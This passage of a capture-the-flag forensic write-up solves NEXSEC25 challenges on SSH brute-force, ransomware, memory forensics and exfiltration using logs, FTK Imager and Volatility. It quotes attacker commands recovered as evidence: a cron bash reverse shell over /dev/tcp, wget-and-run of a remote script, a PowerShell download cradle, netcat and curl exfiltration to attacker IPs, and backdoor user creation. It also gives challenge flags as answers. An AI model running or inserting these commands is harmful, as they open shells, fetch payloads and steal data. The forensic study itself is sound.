- Spawns a bash reverse shell to 172.16.23.13:4444
- Pipes everything to crontab to install it
Flag:
nexsec25{(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/172.16.23.13/4444 0>&1'") | crontab -}
Q12
What command did the attacker use to list active network connections and listening ports in the second reverse shell session?
Solution:
The ss (socket statistics) command with flags:
-t TCP sockets
-u UDP sockets
-l listening sockets
-p process information
-n numeric (no DNS resolution)
Flag:
nexsec25{ss -tulpn}
Q13
What user’s home directory that the attacker tried to access?
Solution:
The attacker attempted to access /home/sysadmin/ and its SSH keys.
Flag:
nexsec25{sysadmin}
Classic #1 - #7
By m0nst3r
Q1
Category: Digital Forensic
Description: The SOC team received an alert indicating suspicious activity on a server. As a forensic investigator, you have been provided with triage results from the compromised system. Analyze the available outputs and answer the following questions. Which service was used to gain initial access to the server?
Flag Format: nexsec25{strings}
I examined the authentication logsand reviewed at localhost-20251213-0945-last-btmp.txt (failed login attempts)and I found extensive SSH brute-force activity starting at 09:16:28.
I also found that hundreds of failed SSH login attempts against multiple usernames. Then,
I found a successful login found in last-wtmp.txt:
centos pts/0 Sat Dec 13 09:17:17 2025 - Sat Dec 13 09:34:45 2025 (00:17) 100.96.0.2
All of it using service :ssh
Flag:
nexsec25{SSH}
Q2
Which IP address used by the attacker for this initial access activity? Flag format: nexsec25{x.x.x.x}
Solution:
I checked multiple log sources especially these 3
- Failed authentication logs (btmp)
- Successful authentication logs (wtmp)
- Last login records (lastlog)
2. All of those logs have this ip
100.96.0.2
This ip has many failed attempts in a short time.
This means this ip attempted to bruteforce it.
Flag:
nexsec25{100.96.0.2}
Q3
Identify exact full command being used to download the malicious binary? Flag format: nexsec25{full command}
Solution:
I located user command history and found .bash_history files in User_Files/hidden-user-home-dir.tar.gz
After extracting it :
tar -xzOf hidden-user-home-dir.tar.gz home/centos/.bash_history
Then find this very interesting command in it
wget --limit-rate=1k http://192.168.8.11:8080/init.sh
chmod +x init.sh
./init.sh
What it does? It
- Used wget with rate limiting to avoid detection
- Downloaded from attacker-controlled server at 192.168.8.11 a file: init.sh (ransomware script)
Flag:
nexsec25{wget --limit-rate=1k http://192.168.8.11:8080/init.sh}
Q4
Which directory was initially affected by the ransomware. Flag format: nexsec25{/var/www/html/}
Solution:
We turned back to the previous extracted Bash History:
Heres what I can observ:
- First execution: ./init.sh
- Second execution: ./init.sh --folder /home/centos/data_production/
- Confirmation: Found RANSOM_NOTE.txt in data_production directory
- Later execution on /home/centos/document/ directory
Flag:
nexsec25{/home/centos/data_production/}
Q5
Which tool or utility was used to transfer documents/files out to the attacker’s server? Flag format: nexsec25{nmap}
Solution:
nc 192.168.8.11 8888 < Nexsec2025_Operational_Maintenance_Notes.txt
Attacker is transferring txt file out in this line
Tool Identified: netcat (nc)
- Simple TCP/UDP utility commonly used by attackers
- Supports file transfers without leaving complex logs
- Connected to attacker’s server on port 8888
Flag:
nexsec25{nc}
Q6
What was the initial file transferred out to the attacker’s server? Flag format: nexsec25{filename.ext}
Solution:
File transfer out here:
- First file: Nexsec2025_Operational_Maintenance_Notes.txt
- Second file: Nexsec2025_System_Service_Config.conf
Flag:
nexsec25{Nexsec2025_Operational_Maintenance_Notes.txt}
Q7
What is the process ID associated with the files transfer activity?
Flag format: nexsec25{number}
Solution:
This one , go to Process AND Network folder, go to localhost-20251213-0945-ss-anepo.txt and I searched for active netcat connections.
Analysis:
- Process: nc (netcat)
- PID: 9169
- Source: 192.168.8.15 (victim server)
- Destination: 192.168.8.11:8888 (attacker’s server)
- User ID: 1000
Flag:
nexsec25{9169}
Oh My Files #1- #10
Q1
By m0nst3r & Mynz
Category: Digital Forensic
Description: Read the file incident_summary.txt to understand the context of this case. A forensic disk image of the user’s workstation has been provided. As a forensic analyst, your first step is to verify the integrity of the evidence.
Calculate the SHA256 of the disk image (.E01) and provide it as your answer.
Flag Format: nexsec25{hashvalue}
Solution:
Open folder, then,
Go to to the disk image location containing the file : FAKHRIWORKSTATION_20251211.E01
Copy the path. Next,
Using PowerShell’s built-in Get-FileHash command, we will get its SHA256 hash:
Get-FileHash -Path “C:\Users\afiqd\Downloads\nexsec25\ohmyfiles\Incident_Report.txt\DISKIMG_FAKRI251211\DISKIMG_FAKRI251211\FAKHRIWORKSTATION_20251211.E01” -Algorithm SHA256
Output:
Algorithm : SHA256
Hash : C8F31718462337B4CC8218C2CA301CA9CA6122CCA71C708757F38788533CA076
Flag:
nexsec25{C8F31718462337B4CC8218C2CA301CA9CA6122CCA71C708757F38788533CA076}
Q2
What file extension does the ransomware add to encrypted files?
Example: nexsec25{.pdf}
Solution:
I quickly find the folders under the user named Fakhri
And I checked Document and Downloads to look for encrypted files.
At the end of .txt file and .docx file, there is .lock extension. And there’s even, txt file, mentioning about DECRYPT_YOUR_FILES.txt , meaning the attack want the user to read the text to decrypt the file encrypted in this folder.
Flag:
nexsec25{.lock}
Q3
What is the SHA‑256 hash of the deleted archive file?
Solution:
Usually,
Deleted mean located in recycle bin folder.
Archive mean .rar file
This one i am looking for is .rar file in recycle bin , so I am searching for .rar file in recycle bin folder ;
Here there is a single .rar file with quite big size.
I export the file to my device and send the hash of it into virustotal.
I get hash using Get-FileHash command
Virus total flag the hash as malicious. I believed this is what we are looking for , so I take its SHA-256 hash.
Flag:
nexsec25{cfaa2ce425e2f472618323dcbceb2e3fc013100919a8dbf545bf15b4c45dae8f}
Q4
Identify the most recent CVE that was exploited to deliver the ransomware payload.
Example: nexsec25{CVE-XXXX-XXXX}
Solution:
Rar file hash can get using : Get-FileHash command
Next, Just upload the deleted rar file’s hash into virus total : https://www.virustotal.com/gui/file/cfaa2ce425e2f472618323dcbceb2e3fc013100919a8dbf545bf15b4c45dae8f/details
We got the cve
Flag:
Nexsec25{cve-2025-8088}
Q5
What is the MITRE ATT\&CK technique ID that matches the persistence mechanism observed in this scenario?
Solution:
I did a google search about the cve and I found this interesting website listing MITRE ATTACK ID that related to this cve : https://www.anomali.com/blog/anomali-cyber-watch-winrar-malware-erlang-otp-exploitation-charon-ransomware
Then, I check each one and compare it with this website which describe each MITRE ATTACK id : https://attack.mitre.org/techniques/enterprise/
Description of question mentioned about “ persistence mechanism “ ,
Technique: Boot or Logon Autostart Execution (T1547)
Sub-technique: Registry Run Keys / Startup Folder (T1547.001)
In malware campaigns abusing malicious archive files (e.g., RAR), persistence is achieved by:
-Dropping a payload into the Windows Startup folder, or
-Creating Run registry keys so the malware executes automatically when the user logs in.
so I think the best suite that is T1547.001.
And I found that the closest one that matches is : T1547.001
Flag:
nexsec25{T1547.001}
Q6
What is the full file path where the ransomware was dropped on the system?
Solution:
Based on the MITRE ATT\&CK technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) identified in Q5,The malware most likely is at the startup folder.
And found it here, in Users\Fakhri\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
svchost.exe (masquerading as Windows system file)
Flag:
nexsec25{C:\Users\Fakhri\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe}
Q7
What cipher algorithm is used to ransom the file?
Solution:
Next, after exporting the svchost.exe, i use pyinstxtractor tool to decompile the executable:
python pyinstxtractor.py EXTRACTED_svchost.exe
And here is the output
[+] Processing EXTRACTED_svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 6915303 bytes
[+] Found 21 files in CArchive
[+] Beginning extraction…please standby
[+] Possible entry point: svchost.pyc
[+] Found 112 files in PYZ archive
[+] Successfully extracted pyinstaller archive: EXTRACTED_svchost.exe
Since Python 3.13 bytecode is difficult to decompile, I used marshal module to extract code objects:
import marshal
f = open(‘svchost.pyc’, ‘rb’)
f.read(16) # Skip header
code = marshal.load(f)
# Extract function names
print(‘Functions:’, [c.co_name for c in code.co_consts if hasattr(c, ‘co_code’)])
Functions found:
- get_file_year - Gets file creation year
- gen_key - Generates encryption key
- xor_encrypt - XOR encryption function
- save_registry - Saves keys to registry
- encrypt_file - Main encryption logic
- main - Entry point
And here we can see it use XOR encryption
Flag:
nexsec25{XOR}
Q8
Where are the encryption keys stored?
Solution:
From the bytecode analysis, the save_registry function shows:
# Function constants:
- ‘Software\\ShadowCrypt\\Keys’
- winreg.CreateKeyEx
- HKEY_CURRENT_USER
- winreg.SetValueEx
- REG_SZ
This indicates keys are stored in the Windows Registry.
Step 2: Access Registry from Disk Image
Using FTK Imager to access Fakhri’s registry:
Navigate to: Users\Fakhri\NTUSER.DAT
- Right-click → Export Files
- Save to analysis workstation
- Step 3: Load Registry Hive
- Using Windows Registry Editor:
Open regedit.exe
- Click on HKEY_USERS
- Go to File → Load Hive…
- Browse to exported NTUSER.DAT
- Name it: Fakhri_Hive
- Step 4: Navigate to ShadowCrypt Keys
- Path: HKEY_USERS\Fakhri_Hive\Software\ShadowCrypt\Keys
Flag:
nexsec25{HKEY_CURRENT_USER\Software\ShadowCrypt\Keys}
Q9
Recover the encrypted document and obtain the encrypted flag contained within it.
Solution:
Using FTK Imager:
- Navigate to: Users\Fakhri\Documents
- Find: BigClient_Proposal_2025.docx.lock
Export it, but since it is lock, we use the key we found earlier to decrypt it
- Registry Location: HKEY_CURRENT_USER\Software\ShadowCrypt\Keys
- Value Name: BigClient_Proposal_2025.docx
- Value Data: d39316995b8fdc7ccbd7662b44bb374c2025
This is the MD5 hash (32 chars) + year (4 chars) = 36 characters total.
From the code here
def gen_key(file_content, file_year=2025):
# Generate MD5 hash from file content
md5_hash = hashlib.md5(file_content).hexdigest()
# Return hash (with year appended in registry)
return md5_hash
def xor_encrypt(data, key):
key_bytes = key.encode(‘utf-8’)
return bytes([data[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(data))])
We found that the original file content is first hashed with MD5, and this MD5 hash becomes the XOR key . The encryption is then performed using an XOR operation defined as: $encrypted[i] = original[i] \text{ XOR } key[i \pmod{len(key)}]$. Additionally, when the hash is stored in the registry, the current year is appended to it.
Next we create our own decryption func
def xor_decrypt(data, key):
“"”XOR decrypt data with the given key”””
key_bytes = key.encode(‘utf-8’)
decrypted = bytes([data[i] ^ key_bytes[i % len(key_bytes)] for i in range(len(data))])
return decrypted
# File paths
encrypted_file = “BigClient_Proposal_2025.docx.lock”
decrypted_file = “BigClient_Proposal_2025_DECRYPTED.docx”
# Encryption key from registry (including year)
encryption_key = “d39316995b8fdc7ccbd7662b44bb374c2025”
# Read encrypted file
with open(encrypted_file, ‘rb’) as f:
encrypted_data = f.read()
# Decrypt with XOR cipher
decrypted_data = xor_decrypt(encrypted_data, encryption_key)
# Write decrypted file
with open(decrypted_file, ‘wb’) as f:
f.write(decrypted_data)
After unlocking, you will find the flag at the 1st line
Flag:
nexsec2025{sh4d0w_crypt_m4st3r_2025}
Q10
In the ransomware code, What are two strings two specific string constants are used to avoid re-encrypting its own ransom note and decryption instructions. Example: nexsec25{STRING1_STRING2}
Solution:
Again, im using Python’s marshal module to extract constants from the main function:
import marshal
f = open(‘svchost.pyc’, ‘rb’)
f.read(16) # Skip header
code = marshal.load(f)
# Get main function
funcs = [c for c in code.co_consts if hasattr(c, ‘co_code’)]
main_func = [f for f in funcs if f.co_name == ‘main’][0]
# Print all string constants
for const in main_func.co_consts:
if isinstance(const, str) and len(const) < 50:
print(f” - {repr(const)}”)
Which show us this, but 2 strings standout the most because it appear before other file processing constants.
- ‘%USERPROFILE%\\Documents’
- ‘DECRYPT’
- ‘RANSOM’
- ‘Software\\ShadowCrypt\\Info’
- ‘Encrypted’
- ‘Method’
- ‘XOR_MD5_YEAR’
- ‘Timestamp’
- ‘!!! DECRYPT_YOUR_FILES !!!.txt’
- ‘utf-8’
Flag:
nexsec25{DECRYPT_RANSOM}
Security Incident
By m0nst3r
Category: Incident Response
Description: A critical security alert was triggered on one of the company’s servers. Forensic analysts collected event logs and system artifacts, but the initial reports are incomplete. Examine the provided logs and determine when an unauthorized user successfully gained access to the system and identify the compromised account. Provide the username, timestamp in GMT+8 and replace spaces with underscores.
FLAG FORMAT: nexsec25{MM/DD/YYYY_HH:MM:SSAM/PM_USERNAME}
Solution:
1.Before analyzing the logs, it’s crucial to understand the key Windows Security
Event IDs:
- Event ID 4624: Successful account logon
- Event ID 4625: Failed account logon attempt
- Event ID 4688: A new process has been created
2. Logon Types
Windows tracks different types of logons:
- Type 2: Interactive (local console logon)
- Type 3: Network (SMB, remote file share access)
- Type 10: Remote Interactive ( RDP)
ANALYSIS STEPS
Step 1: Initial Log Examination
First, we examined the structure of the event log to understand what events
are present:
PowerShell Command:
Get-WinEvent -Path “C:\Users\afiqd\Downloads\cyfor\ir\security\security.evtx” -MaxEvents 50 |
Select-Object TimeCreated, Id, Message |
Format-Table -AutoSize
Observation: The log contains Event IDs 4624 (successful logons), 4625 (failed
logons), and 4688 (process creation).
Step 2: Identifying Failed Logon Attempts
To detect potential brute force or unauthorized access attempts, we searched
for failed logon events:
PowerShell Command:
Get-WinEvent -Path “C:\Users\afiqd\Downloads\cyfor\ir\security\security.evtx” |
Where-Object {$_.Id -eq 4625} |
Select-Object TimeCreated, Message |
Format-List
Key Findings:
- Multiple failed logon attempts from IP address 100.96.0.32
- Attempts on various usernames: qwe, qbu, webadmin, amin, user
- All attempts used Logon Type 3 (Network logon)
- Failure reasons: “Unknown user name or bad password”
- Time range: Around 12:38 AM on 13/12/2025 (initial findings were
confusing due to time format)
Step 3: Correlating Failed and Successful Logons
The proper way to identify a successful breach after a brute force attack is to:
1. Identify the pattern of failed attempts
2. Look for successful logons from the same source IP
3. Verify the timeline matches a brute force scenario
Optimal Command for Timeline Analysis:
Get-WinEvent -Path “C:\Users\afiqd\Downloads\cyfor\ir\security\security.evtx” -MaxEvents 100 |
Where-Object {$_.Id -eq 4624 -or $_.Id -eq 4625} |
ForEach-Object {
$xml = [xml]$_.ToXml()
$props = $xml.Event.EventData.Data | ForEach-Object {
[PSCustomObject]@{Name=$_.Name; Value=$_.’#text’}
}
[PSCustomObject]@{
Time=$_.TimeCreated.ToString(‘MM/dd/yyyy hh:mm:sstt’)
EventId=$_.Id
User=($props | Where-Object {$_.Name -eq ‘TargetUserName’}).Value
IP=($props | Where-Object {$_.Name -eq ‘IpAddress’}).Value
}
} |
Sort-Object Time |
Format-Table -AutoSize
Step 4: Analyzing the Results
The command output revealed:
After a series of bruteforce attempt, the attacker success to login at 12/13/2025 12:35:23PM webadmin
So, the answer is
Flag:
nexsec25{12/13/2025_12:35:23PM_webadmin}
MEMOIR #1 - #9
By m0nst3r & Jerit3787
Category: Digital Forensic
Description: An employee at Berjaya Company appears to have been compromised, and the circumstances remain unclear. We now need your expertise to analyze the acquired memory snapshot and uncover the incidents that unfolded behind the scenes.
SHA256:
bade0f98f48c5bdd15eb8cfcb91b8d56bc162e950ab93c0933f4e2b111aef5a4
File (if, any):
https://shorturl.at/ISZs4
What is the full filename of the malicious file that was opened?
NEXSEC25{filename.extension}
Solution:
Flag 1: The Malicious File
Objective: Identify the full filename of the malicious file that was opened.
Analysis:
We began by listing the running processes to identify user applications (windows.pslist). We observed WINWORD.EXE (PID 4784) in the process list. To determine the specific file opened, we examined the command line arguments.
1
python3 vol.py -f memdump.mem windows.cmdline --pid 4784
Output:
"C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" /n "C:\Users\azman\Downloads\Jemputan_Bengkel_Strategik.docx"
Flag:
NEXSEC25{Jemputan_Bengkel_Strategik.docx}
Q2
What is the IP address of the primary C2 server? NEXSEC25{ip}
Solution:
Flag 2: Primary C2 Server
Objective: Identify the IP address of the Command & Control server.
Analysis:
We performed a network scan to identify active connections initiated by suspicious processes.
1
python3 vol.py -f memdump.mem windows.netscan
We observed powershell.exe and the suspicious binary team.exe communicating with an external IP address over HTTP/HTTPS ports.
Flag: NEXSEC25{188.166.181.254}
Q3
What is the GitHub username hosting the malware repository? NEXSEC25{username}
Solution:
We examined the command line history of cmd.exe and powershell.exe to identify the infection vector.
1
python3 vol.py -f memdump.mem windows.cmdline
Output (PID 7240):
cmd /c powershell.exe -ep bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kimmisuuki/AppleSeed/refs/heads/main/cat.ps1')
This command indicates the attacker downloaded a malicious script (`cat.ps1`) from a specific GitHub user’s repository.
Flag:
NEXSEC25{kimmisuuki}
Q4
What is the SHA1 hash of the credential dumping executable found in memory? Flag format: NEXSEC25{sha1_hash_lowercase}
Step 1: Identify Suspicious Executables
First, scan the file system for suspicious executables in the memory dump.
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.filescan > files.txt
Step 2: Search for Potential Credential Dumpers
Look for files in suspicious locations (Temp folder) or with suspicious names:
1
2
Select-String -Path files.txt -Pattern "temp" -Context 0,0
Select-String -Path files.txt -Pattern "mk.exe" -Context 0,0
Key Finding:
1
0xba0190062900 \Users\azman\AppData\Local\Temp\mk.exe
Step 3: Attempt File Dump (Failed Approach)
The initial approach was to dump the file directly:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.dumpfiles --virtaddr 0xba0190062900
Problem: The file was deleted from disk, so traditional file dumping failed.
Step 4: Alternative Approach - Memory Analysis (Wrong Hash)
Attempting to extract from process memory using malfind:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.malfind --pid 3368
This produced a memory dump, but the hash was incorrect because:
- Files in memory are “mapped” (expanded/aligned)
- The on-disk format differs from in-memory format
- SHA1 of memory dump ≠ SHA1 of original file
Step 5: Correct Approach - Amcache Analysis
Windows maintains the Amcache registry hive that stores metadata about executed programs, including their original SHA1 hashes.
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.registry.amcache > amcache.txt
Step 6: Search Amcache for mk.exe
1
Select-String -Path amcache.txt -Pattern "mk.exe" -Context 0,5
Key Output:
1
amcache.txt:933:File c:\users\azman\appdata\local\temp\mk.exe gentilkiwi (benjamin delpy) 2025-12-11 10:27:24.000000 UTC N/A N/A - d1f7832035c3e8a73cc78afd28cfd7f4cece6d20 N/A mimikatz 2.2.0.0
Hash Found: d1f7832035c3e8a73cc78afd28cfd7f4cece6d20
Flag:
NEXSEC25{d1f7832035c3e8a73cc78afd28cfd7f4cece6d20}
Q5
What PowerShell script filename was used for the UAC bypass technique?
Step 1: Analyze Process Command Lines
Extract command line arguments for all processes to find suspicious PowerShell execution.
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.cmdline
Step 2: Identify Base64 Encoded Commands
Look for PowerShell processes with -e or -encodedcommand flags:
Key Output (PID 5936 - cmd.exe):
1
"C:\Windows\System32\cmd.exe" /c powershell.exe -nop -e UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXABFAHYAZQBuAHQAVgBpAGUAdwBlAHIAUgBDAEUALgBwAHMAMQA=
Step 3: Decode the Base64 Command
Decode the Base64 string to reveal the actual command:
1
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXABFAHYAZQBuAHQAVgBpAGUAdwBlAHIAUgBDAEUALgBwAHMAMQA="))
Decoded Command:
1
Set-ExecutionPolicy Bypass -Scope CurrentUser; C:\Windows\Tasks\EventViewerRCE.ps1
Step 4: Identify the UAC Bypass Script
The decoded command reveals:
- Script Path: C:\Windows\Tasks\EventViewerRCE.ps1
- Script Name: EventViewerRCE.ps1
Flag:
NEXSEC25{EventViewerRCE.ps1}
Q6
What is the SHA1 hash of the backdoor? NEXSEC25{sha1}
Step 1: Identify the Backdoor Process
From previous analysis, we know team.exe is the backdoor. Verify its presence:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.pslist | Select-String "team"
Key Finding:
1
PID 3368 team.exe (32-bit, Wow64=True)
Step 2: Verify Process Relationships
Check the process tree to confirm team.exe is malicious:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.pstree
Process Chain:
1
WINWORD.EXE → cmd.exe → powershell.exe → powershell.exe → powershell.exe → team.exe
Step 3: Locate the File on Disk
Find the file path using filescan:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.filescan | Select-String "team.exe"
Key Finding:
1
C:\Users\azman\AppData\Local\Temp\team.exe
Step 4: Attempt Direct File Dump (Wrong Approach)
Initial attempt to dump and hash the file:
1
2
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.dumpfiles --virtaddr <offset>
Get-FileHash -Algorithm SHA1 <dumped_file>
Result: Hash d8c7e18654807101920adc4c7013c38863db7d1a - INCORRECT
This is wrong because the memory-mapped version differs from the on-disk version.
Step 5: Correct Approach - Use Amcache
Query the Amcache registry for the original file hash:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.registry.amcache > amcache.txt
Step 6: Search for team.exe Hash
1
Select-String -Path amcache.txt -Pattern "team.exe" -Context 0,5
Key Output:
1
amcache.txt:911:File c:\users\azman\appdata\local\temp\team.exe 2025-12-11 20:06:43.000000 UTC N/A N/A - 255d932fa4418ac11b384b125a7d7d91f8eb28f4 N/A
Correct Hash: 255d932fa4418ac11b384b125a7d7d91f8eb28f4
Flag:
NEXSEC25{255d932fa4418ac11b384b125a7d7d91f8eb28f4}
Q7
What is the key value name used for persistence? NEXSEC25{ValueName}
Step 1: Check Common Persistence Locations
Start by examining the standard Run key locations for the current user:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
Initial Result: Only legitimate entries (Edge, OneDrive, Evernote) - No malware found in user hive.
Step 2: Investigate System-Wide (HKLM) Run Key
Since user-level keys were clean, check the machine-wide registry. First, identify the SOFTWARE hive offset:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.registry.hivelist
SOFTWARE Hive Offset: 0xd00a3a71f000
Step 3: Query HKLM Run Key with Specific Offset
Use the offset to force Volatility to show all values in the HKLM Run key:
1
python3 vol.py -f "C:\Users\Danish Hakim\Desktop\MEMORY\MEMORY - 01\memdump.mem" windows.registry.printkey --offset 0xd00a3a71f000 --key "Microsoft\Windows\CurrentVersion\Run"
Step 4: Analyze the Output
Key Output:
1
2
3
4
5
Last Write Time Type Key Name Data
2025-12-11 20:02:37.000000 UTC REG_SZ ...\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth %windir%\system32\SecurityHealthSystray.exe
2025-12-11 20:02:37.000000 UTC REG_SZ ...\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Greenshot "C:\Program Files\Greenshot\Greenshot.exe"
2025-12-11 20:02:37.000000 UTC REG_SZ ...\SOFTWARE\Microsoft\Windows\CurrentVersion\Run selamatt C:\Users\azman\AppData\Local\Temp\svchost.exe
2025-12-11 20:02:37.000000 UTC REG_SZ ...\SOFTWARE\Microsoft\Windows\CurrentVersion\Run selamat C:\Users\azman\AppData\Local\Temp\team.exe
Step 5: Identify the Malicious Entry
- SecurityHealth - %windir%\system32\SecurityHealthSystray.exe - Legitimate |
- Greenshot - C:\Program Files\Greenshot\Greenshot.exe - Legitimate |
- selamatt - C:\Users\azman\AppData\Local\Temp\svchost.exe - Suspicious |
- selamat - C:\Users\azman\AppData\Local\Temp\team.exe - Malicious |
The value name selamat points to our identified backdoor `team.exe`.
Flag:
NEXSEC25{selamat}
Q8
What are the credentials of the newly created user account? example : NEXSEC25{username:password}
Analysis:
Process analysis showed the execution of net1.exe and cmd.exe. To recover the exact commands typed by the attacker, we dumped the memory of the Console Host process (conhost.exe, PID 6284) which manages the command prompt input/output.
1
2
python3 vol.py -f memdump.mem windows.memmap --pid 6284 --dump
grep -a "net user" pid.6284.dmp
Evidence:
The memory dump contained the string: C:\> net user fakhri admin123 /add. This confirms the attacker created a backdoor user named fakhri.
Flag:
NEXSEC25{fakhri:admin123}
Q9
What was the name of the archive file that was exfiltrated?
example : NEXSEC25{filename.ext}
**Solutions: **
I run
1
python vol.py -f memdump.mem windows.memmap --pid 3368 --dump
This command extracts the virtual memory of process ID 3368 from the memory image and dumps it to a file (pid.3368.dmp) for further analysis.
Then,
1
2
Select-String -Path "pid.3368.dmp" -Pattern "Compress-Archive" -Context 3,3 |
Select-Object -First 5
This command searches the dumped process memory for the Compress-Archive PowerShell command, showing nearby lines to find evidence of file compression activity that may indicate data staging for exfiltration.
Then, it returned
1
Compress-Archive -Path C:\Users\azman\Documents -DestinationPath C:\Users\azman\AppData\Local\Temp\Documents.zip
This shows that the attacker compressed the user’s Documents folder into a ZIP file stored in the Temp directory, a common step before data exfiltration.
Then I search for upload/exfiltration commands using :
1
Select-String -Path "pid.3368.dmp" -Pattern "curl|Invoke-WebRequest|upload" -Context 2,2
This command scans the memory dump for common file transfer or exfiltration tools and keywords, such as curl or PowerShell web requests.
And it returned
1
curl -F "file=@C:\Users\azman\AppData\Local\Temp\Documents.zip" http://188.166.181.254/upload
This confirms that the ZIP file was uploaded to an external IP address using curl, indicating successful data exfiltration.
Which means the flag is Documents.zip
Flag:
NEXSEC25{Documents.zip}